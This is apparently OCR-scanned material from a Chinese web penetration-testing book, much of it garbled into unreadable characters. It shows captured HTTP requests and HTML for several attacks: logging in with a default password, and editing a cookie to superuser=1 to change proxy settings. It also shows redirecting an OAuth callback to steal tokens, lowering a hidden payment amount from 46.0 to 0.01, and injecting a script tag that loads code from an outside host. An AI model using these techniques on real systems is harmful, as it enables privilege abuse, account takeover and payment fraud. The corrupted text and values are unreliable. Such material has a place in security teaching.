SRR S &1 G 65 B EAAE BRI, 7E[R] — W2 H BAE 2 A P o] LR 32



MU, SRBUSSOE B R R S EE R .
W —., fHHBE RS, BB user 0. FHENLIN A5 (K8 L7 5 B 51 (1 K
F 4 MRS N chinanet/123456, Bk G B A IZHVLITER R &E R, WHE 16-28f775~.

v
EEEaS |

s |
BEHEES | 1.0
SIS

K16-28 HIFUEF B R ARG G S

RSB R e, RN P EH P ECE user IR, &
16-29F7718

BRE user
FEH
FEHW

16-29 userH F* i it &
IR B P ARG B proxy REL b, 38 I 0 B R AR B R R R
Hr“proxyfCER L E , ARG SRS BE S50, W B FE W E16-30FT7R .

¥= 2L =2 =1 =it

proxy{tE

RERET= V|




F16-30 proxyfCEEAD &

MR BRI R R E S, IR T I S s R A S8,
16-31F77

’ Live HTTP headers

J Headers | Generator | Config | About |

HTTP Headers
http:/ - - set_parameter
POST wet_parameter HTTP/1.1
Host: -
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWB4; nv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http:// - W proxy.asp

Content-Length: 70

Cookie: username=chinanet; superuser=1; session=0a58f14729dcb69f3a8a56falcbB8d669
DNT:1

Connection: keep-alive

data=[crce_proxy_enable=0cmec_proxy_ip=12345678 crce_proxy_port=222]
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Execute

[V Enable Post data | | Enable Referrer
Post data

‘successful
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data=[cmcc_proxy_enable=(1cmcc _proxy_ip=testTest,cmcc_proxy_port= 33I]
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Wéeﬂeﬁtorl Config | About|

HTTP Headers
http:// . . set_parameter
POST set_parameter HTTP/1.1
Host:

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; nv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml application/xml:q=0.9,/*:q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: username=user; superuser=0; session=4c6c0060b47539a6a7f2d6f1eedb3aee I
DNT:1

Connection: keep-alive

Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

data=[cmcc_proxy_enable=0fmcc_proxy_ip=testTest,cmcc_proxy_port=33]
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GET Py ey fsystemadmin H)IP/H
Accept: text/html, application/xhtm 3

Referer: https:/ s s ¥treemenu.php

Accept-Language: zh-CN

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)
Accept-Encoding: gzip, deflate

Host: com

DNT: 1

Connection: Keep-Alive

Cookie: USGSESSID=75{3824f687 aa1903bc3f21a606h881
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Default authority table with all authority enable
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17.1 OAuth2.0\iiF J5 ¥

Oauth FC¥FH P k28 =J7 N V5 IRZ 5 — Wl A AL S YR (i A
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https://facebook.com/dialog/oauth?

response_type=code&client_id=YOUR_CLIENT_ID&redirect_uri=REDIRECT_URI&scope=en
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https://facebook.com/dialog/oauth?

response_type=code&client_id=28653682475872&redirect_uri=example.com&scope=email
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- http://oauth.net/2/
- https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2
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Path Headers | Preview Response Cookies Timing
E authorizephproauth _t. = Request URL: http: cn/oauth/authorize. phpToauth_ tuk:nz4ueizr=72975f19adsfsz7s4sd1417as:|524d9hsssa_
= auth_callback=httpE3A%2FE2Fwooyun.org|
Request Method: GET
é szﬁﬁ:_,b Status Code: @ 200 0K
ety bt vRequest Headers view source =
=] global-al.Js Accept: text,/htm), application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
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ogo = Accept-Language: zh-C¥,zh;q=0.8,en;q=0.6
s “]:Jg‘ v Cache-Control: max-age=0
Joauthfimages Connection: keep-alive
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http://open.xxxx.cn/oauth/authorize.php?oauth_token=e65d28ab0862cbd517c67c3cc
6f2247e052ad9c22&oauth_callback=http%3A%2F%2Fm.wbto.cn%3A80%2F%3Fc%3D
m_setting%26m%3Dauth%26b%3Dcallback%26pid%3D24%26aid%3D%26wbto%3D16



58628 _953c148f2d%?260auth_token%3De65d28ab0862cbd517c67c3cc6f2247e052ad9c22%260¢

Hrf1, oauth_callback¥ 5 5 M FH ffjoauth_tokeni#E 47485, &A% v TR 0G, W]
PIMEHCNAT Rk . X B F A7 1M oauth_callback E B yxxx.org, FHEA HRRuri A%, &
FIERB, BhE R 78w ik, FH Y oauth_token tEE, W 17-5017R.

L ) Lorg/7oauth_token=48a727e72975f19ad6f027646d34 1 78805 2ad9b58&oauth_verifier =2004e43c8: § y o » é

Elements Resources |Network | Sowrces Timelne Profles Audits Console |
Name

* Headers | Preview Response Cookies Timing

ath
j authorize php?consum .. 2 Request URL: http://open. .cn/oauth/authorize. php?
consumer_key=2abe7f69262cc617cc8804bb0c2cassdidelessdl
Request Method: POST
fj 2oauth_token=48a727. Status Code: « 302 Found
» Request Headers (13)
style.css » Query String Parameters (1)
:_‘ css » Form Data (5)
¥ Response Headers view source
JMV'L“-Z‘“"”JS Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
ewm.jpg Content-Type: text/html; charset=utf-8
imas Date: Sun, 15 Dec 2013 12:12:29 GMT
’ ' Expires: Thu, 19 Nov 1981 08:52:00 GMT
o ‘Wﬁﬂﬂ_ﬁﬁr@ Location: JSEES .0rg?
— fimage: auth_tok 48a727e7 29751
Pragma: no-cache
_J b‘g pn? Server: nginx

Transfer-Encoding: chunked

| sae_bottom_logo.png
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<input type="hidden" name="donation" id="donation" value>
v<form name="alipaysubmit” id="alipaysubmit® method="post" action= ction/alipay.jsp” target="_blank">
<input type="hidden" name="iorderid" value="14916538">
<input type="hidden" name="storecode" value="HZH271">
<input type="hidden" name="seller_email" value=" Jnina@yum.com” >
<input type="hidden" name="total_fee" id="alipay_fee" value='4—5j0")

<J
v ¢<form name="alipayyinhang" id="alipayyinhang" method="post" action= eringAction/alipay_yinhang.jsp" target="_blank">
<input type="hidden" name="yinhangCode" value="HZCBB2C">
<input type="hidden" name="iorderid" value="14916538">
<input type="hidden" name="storecode" value="HZI"

<input type="hidden" name="seller_email" value= ipay.China@yum.com">
<input type="hidden" name="total_fee"” id="yinhang_fee" value="46.0">
</form>

K18-3 & F & A HTMLACAS
W= {E&H46 0B N0.017T, WE18-4F17KR.

<ImpuT Type= e ="UUNE T IV IU= UUNETIUN VaIues
¥ <form name="alipaysubmit® id="alipaysubmit® method="post" action= ringAction/alipay.jsp" target="_blank">
<input type="hidden" name="iorderid" value="14916538">
<input type="hidden" name="storecode" value="HZH271">
-

=" =" 2 bt \na@yum. com" >
<input type="hidden" name="total_fee" id="alipay_ 9.91"> |
<
¥ <form name="alipayyinhang" id="alipayyinhang" method="post™ action="' ‘deringAction/alipay_yinhang.jsp" target="_blank">

<input type="hidden" name="yinhangCode" value="HZCBB2C">
<input type="hidden" name="iorderid" value="14916538">
<input type="hidden" name="storecode" value="HZH271">

<input type="hidden" name="seller_email"” value=' _Alipay.China@yum.com">
<input type="hidden" name="total_fee" id="yinhang_fee" value="46.8">
</form>
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raw | params | headers | hex

%2Fsrc%3Dhtt pY3AXZFR2Furl. cn¥2F AHSncDR3EX3CK2! Fscnpt%E!ﬂZh"Cﬂ'Jh&'aad.l?:ﬂ.\?i:?l"ii\56%:2%”‘0&2:emnliﬂﬂ3MJZad.vnn5 10koohik. com¥22%2C%221ncrement ¥2283A%221%22% TDX5DE studentClassInfolist=%5
B%TBN22gu1 d¥22%3A%22guid_ 1%22%2CK22t agh 2 2% 3AK. %22%2C%22¢ 1assCode%22%3A%226P21001%22%2C%22 st udent Code% 22% 3A%22%22%2C%221 sRe commendPeople%22% 3Af al se% TD%SDEvouche
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3C%2F script¥3EN22H2CK22p: 2: 3800138000%22%2CK22phone%22% 3A%X22K22% 20K 225 e 101 st r1ct 22X 3AK221 3010 IH22K2CK22di strict HameN22% IAK 22X 22%2CK 22 checked2
2%3At rueX2CH 221 sDefault avek 22434t rush TDASDEwayL i st=%5E% %22%3A2 1K 20K 221 sRe ceiveOwn% 228 3At rueK2CK 2 2nanek2 2% AX 22X SK B TXAARESKSFNOBK 22X 2CK
22fees¥22%3A0%2CK2 2 enar AfalseH TDRICH BN 21 A22%3A1 30K20%221 sReceiveOunB22%3Af al s e¥2CK2 2naneh2 2N A E |%5 5% 9%E THIENAFYEBKETRAF
F|SEBNASKE 5% 864 855 2282820 eesK 22K 3A1 DX 2CK22renark 228 3A%22KE 24E TXBENAFAE %5 THAFXE INEB%ASKESX 86% 5% E 55 SCKE OXESXEC] heckedh22%3AF 215eK TDR2CKTEN2
21d%22%3A131%2C%221 sReceiveOwnk 22%3AF al se%2C%22name% 2 2% 3, E% TXAFSE 1%BBRASKE SKA 1X96%22%2CK 22 ees) "%3&‘ %221 emark¥2 2% 3AN2 2NEGNEEH00%
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response

raw | headers | hex |

HTIP/1.1 200 OK
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